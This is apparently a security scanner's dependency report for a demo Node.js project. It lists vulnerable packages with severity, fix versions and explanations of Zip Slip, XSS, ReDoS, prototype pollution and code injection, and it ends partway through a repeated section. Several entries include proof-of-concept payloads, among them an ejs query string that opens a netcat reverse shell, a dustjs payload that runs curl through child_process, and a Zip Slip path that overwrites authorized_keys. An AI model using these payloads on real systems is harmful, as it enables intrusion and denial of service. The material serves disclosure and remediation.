Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: adm-zip
- Introduced through: adm-zip@0.4.7
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › adm-zip@0.4.7Remediation: Upgrade to adm-zip@0.4.11.
Overview
adm-zip is a JavaScript implementation for zip data compression for NodeJS.
Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip).
Details
It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
+2018-04-15 22:04:29 ..... 19 19 good.txt
+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade adm-zip
to version 0.4.11 or higher.
References
critical severity
- Vulnerable module: babel-traverse
- Introduced through: tap@11.1.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › istanbul-lib-instrument@1.10.2 › babel-traverse@6.26.0
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › istanbul-lib-instrument@1.10.2 › babel-template@6.26.0 › babel-traverse@6.26.0
Overview
Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the path.evaluate()
or path.evaluateTruthy()
internal Babel methods.
Note:
This is only exploitable if the attacker uses known affected plugins such as @babel/plugin-transform-runtime
, @babel/preset-env
when using its useBuiltIns
option, and any "polyfill provider" plugin that depends on @babel/helper-define-polyfill-provider
. No other plugins under the @babel/
namespace are impacted, but third-party plugins might be.
Users that only compile trusted code are not impacted.
Workaround
Users who are unable to upgrade the library can upgrade the affected plugins instead, to avoid triggering the vulnerable code path in affected @babel/traverse
.
Remediation
There is no fixed version for babel-traverse
.
References
high severity
- Vulnerable module: marked
- Introduced through: marked@0.3.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › marked@0.3.5Remediation: Upgrade to marked@0.3.6.
Overview
marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). An attacker could bypass its output sanitization (sanitize: true
) protection. Using the HTML Coded Character Set, attackers can inject javascript:
code snippets into the output. For example, the following input javascript֍ocument;alert(1)
will result in alert(1)
being executed when the user clicks on the link.
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade marked
to version 0.3.6 or higher.
References
high severity
- Vulnerable module: cross-spawn
- Introduced through: tap@11.1.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › foreground-child@1.5.6 › cross-spawn@4.0.2Remediation: Upgrade to tap@15.0.0.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › foreground-child@1.5.6 › cross-spawn@4.0.2Remediation: Upgrade to tap@15.0.0.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › spawn-wrap@1.4.3 › foreground-child@1.5.6 › cross-spawn@4.0.2Remediation: Upgrade to tap@15.0.0.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › yargs@11.1.0 › os-locale@2.1.0 › execa@0.7.0 › cross-spawn@5.1.0Remediation: Upgrade to tap@12.0.2.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
PoC
const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
str += "\\";
}
str += "◎";
console.log("start")
argument(str)
console.log("end")
// run `npm install cross-spawn` and `node attack.js`
// then the program will stuck forever with high CPU usage
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade cross-spawn
to version 6.0.6, 7.0.5 or higher.
References
high severity
new
- Vulnerable module: mongoose
- Introduced through: mongoose@4.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › mongoose@4.2.4Remediation: Upgrade to mongoose@6.13.5.
Overview
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Data Query Logic due to the improper handling of $where
in match queries. An attacker can manipulate search queries to inject malicious code.
Remediation
Upgrade mongoose
to version 6.13.5, 7.8.3, 8.8.3 or higher.
References
high severity
- Vulnerable module: dustjs-linkedin
- Introduced through: dustjs-linkedin@2.5.0
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › dustjs-linkedin@2.5.0Remediation: Upgrade to dustjs-linkedin@2.6.0.
Overview
dustjs-linkedin is a Javascript templating engine designed to run asynchronously on both the server and the browser.
Affected versions of this package are vulnerable to Code Injection. Dust.js uses Javascript's eval()
function to evaluate the "if" statement conditions. The input to the function is sanitized by escaping all potentially dangerous characters.
However, if the variable passed in is an array, no escaping is applied, exposing an easy path to code injection. The risk of exploit is especially high given the fact express
, koa
and many other Node.js servers allow users to force a query parameter to be an array using the param[]=value
notation.
Remediation
Upgrade dustjs-linkedin
to version 2.6.0 or higher.
References
high severity
- Vulnerable module: dustjs-linkedin
- Introduced through: dustjs-linkedin@2.5.0
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › dustjs-linkedin@2.5.0Remediation: Upgrade to dustjs-linkedin@3.0.0.
Overview
dustjs-linkedin is a Javascript templating engine designed to run asynchronously on both the server and the browser.
Affected versions of this package are vulnerable to Prototype Pollution. It is possible to pollute the blocks
Array attribute of the object context
within the compileBlocks
function. This vulnerability can be leveraged for code execution since this property is added to the compiled
function, which is then executed by the VM
module.
PoC
const dust = require('dustjs-linkedin');
let cmd = "this.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl 127.0.0.1')"
Object.prototype.ANY_CODE= [cmd];
const compiled = dust.compile(`{username} is a valid Dust reference.{~n}`);
const tmpl = dust.loadSource(compiled);
dust.render(tmpl, { username: "byc_404" }, (err, out) => {
if (err) throw err;
console.log(out);
});
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade dustjs-linkedin
to version 3.0.0 or higher.
References
high severity
- Vulnerable module: kerberos
- Introduced through: mongoose@4.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › mongoose@4.2.4 › mongodb@2.0.46 › mongodb-core@1.2.19 › kerberos@0.0.24Remediation: Upgrade to mongoose@4.2.5.
Overview
Affected versions of this package are vulnerable to DLL Injection. An attacker can execute arbitrary code by creating a file with the same name in a folder that precedes the intended file in the DLL path search.
Remediation
Upgrade kerberos
to version 1.0.0 or higher.
References
high severity
- Vulnerable module: body-parser
- Introduced through: body-parser@1.9.0
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › body-parser@1.9.0Remediation: Upgrade to body-parser@1.20.3.
Overview
Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) via the extendedparser
and urlencoded
functions when the URL encoding process is enabled. An attacker can flood the server with a large number of specially crafted requests.
Remediation
Upgrade body-parser
to version 1.20.3 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › lodash@4.17.4Remediation: Upgrade to lodash@4.17.20.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The function zipObjectDeep
can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.
PoC
const _ = require('lodash');
_.zipObjectDeep(['__proto__.z'],[123]);
console.log(z); // 123
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.20 or higher.
References
high severity
- Vulnerable module: ejs
- Introduced through: ejs@1.0.0 and ejs-locals@1.0.2
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › ejs@1.0.0Remediation: Upgrade to ejs@2.5.3.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › ejs-locals@1.0.2 › ejs@0.8.8
Overview
ejs
is a popular JavaScript templating engine.
Affected versions of the package are vulnerable to Remote Code Execution by letting the attacker under certain conditions control the source folder from which the engine renders include files.
You can read more about this vulnerability on the Snyk blog.
There's also a Cross-site Scripting & Denial of Service vulnerabilities caused by the same behaviour.
Details
ejs
provides a few different options for you to render a template, two being very similar: ejs.render()
and ejs.renderFile()
. The only difference being that render
expects a string to be used for the template and renderFile
expects a path to a template file.
Both functions can be invoked in two ways. The first is calling them with template
, data
, and options
:
ejs.render(str, data, options);
ejs.renderFile(filename, data, options, callback)
The second way would be by calling only the template
and data
, while ejs
lets the options
be passed as part of the data
:
ejs.render(str, dataAndOptions);
ejs.renderFile(filename, dataAndOptions, callback)
If used with a variable list supplied by the user (e.g. by reading it from the URI with qs
or equivalent), an attacker can control ejs
options. This includes the root
option, which allows changing the project root for includes with an absolute path.
ejs.renderFile('my-template', {root:'/bad/root/'}, callback);
By passing along the root directive in the line above, any includes would now be pulled from /bad/root
instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus leading to remote code execution.
The fix introduced in version 2.5.3
blacklisted root
options from options passed via the data
object.
Disclosure Timeline
- November 27th, 2016 - Reported the issue to package owner.
- November 27th, 2016 - Issue acknowledged by package owner.
- November 28th, 2016 - Issue fixed and version
2.5.3
released.
Remediation
The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard
from the command-line interface.
Otherwise, Upgrade ejs
to version 2.5.3
or higher.
References
high severity
- Vulnerable module: ejs
- Introduced through: ejs@1.0.0 and ejs-locals@1.0.2
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › ejs@1.0.0Remediation: Upgrade to ejs@3.1.7.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › ejs-locals@1.0.2 › ejs@0.8.8
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options
parameter of renderFile
, which makes it possible to inject code into outputFunctionName
.
Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.
PoC:
Creation of reverse shell:
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
Remediation
Upgrade ejs
to version 3.1.7 or higher.
References
high severity
- Vulnerable module: mongoose
- Introduced through: mongoose@4.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › mongoose@4.2.4Remediation: Upgrade to mongoose@5.13.20.
Overview
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Prototype Pollution in document.js
, via update functions such as findByIdAndUpdate()
. This allows attackers to achieve remote code execution.
Note: Only applications using Express and EJS are vulnerable.
PoC
import { connect, model, Schema } from 'mongoose';
await connect('mongodb://127.0.0.1:27017/exploit');
const Example = model('Example', new Schema({ hello: String }));
const example = await new Example({ hello: 'world!' }).save();
await Example.findByIdAndUpdate(example._id, {
$rename: {
hello: '__proto__.polluted'
}
});
// this is what causes the pollution
await Example.find();
const test = {};
console.log(test.polluted); // world!
console.log(Object.prototype); // [Object: null prototype] { polluted: 'world!' }
process.exit();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mongoose
to version 5.13.20, 6.11.3, 7.3.4 or higher.
References
high severity
- Vulnerable module: ansi-regex
- Introduced through: tap@11.1.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › tap-mocha-reporter@3.0.9 › unicode-length@1.0.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to tap@14.6.8.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › yargs@11.1.0 › cliui@4.1.0 › wrap-ansi@2.1.0 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to tap@12.6.2.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › istanbul-lib-instrument@1.10.2 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › istanbul-lib-instrument@1.10.2 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › yargs@11.1.0 › cliui@4.1.0 › wrap-ansi@2.1.0 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to tap@12.6.2.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › istanbul-lib-instrument@1.10.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › istanbul-lib-instrument@1.10.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]*
and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
.
PoC
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
